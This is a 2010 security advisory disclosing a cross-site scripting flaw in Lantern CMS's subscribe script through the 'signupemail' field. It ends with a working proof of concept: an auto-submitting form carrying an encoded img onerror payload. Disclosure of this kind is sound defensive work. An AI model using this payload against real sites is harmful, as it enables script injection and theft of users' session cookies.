XSS vulnerability in Lantern CMS

Vulnerability ID: HTB22620
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_lantern_cms.html
Product: Lantern CMS
Vendor: Lantern ( http://www.lanterncms.com/www/html/7-home-page.asp )
Vulnerable Version: Current at 18.09.2010 and Probably Prior Versions
Vendor Notification: 22 September 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the subscribe script to properly sanitize user-supplied input in "signupemail" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form method="POST" name="m" action="http://host/www/html/7-home-page.asp&quot;&gt;
<input type="hidden" name="signupemail" value="%27%22%3E%3Cimg+src%3Dx+onerror%3Dalert%2834%29%3E">
<input type="hidden" name="signupsubmit" value="Submit">
</form>
<script>
document.m.submit();
</script>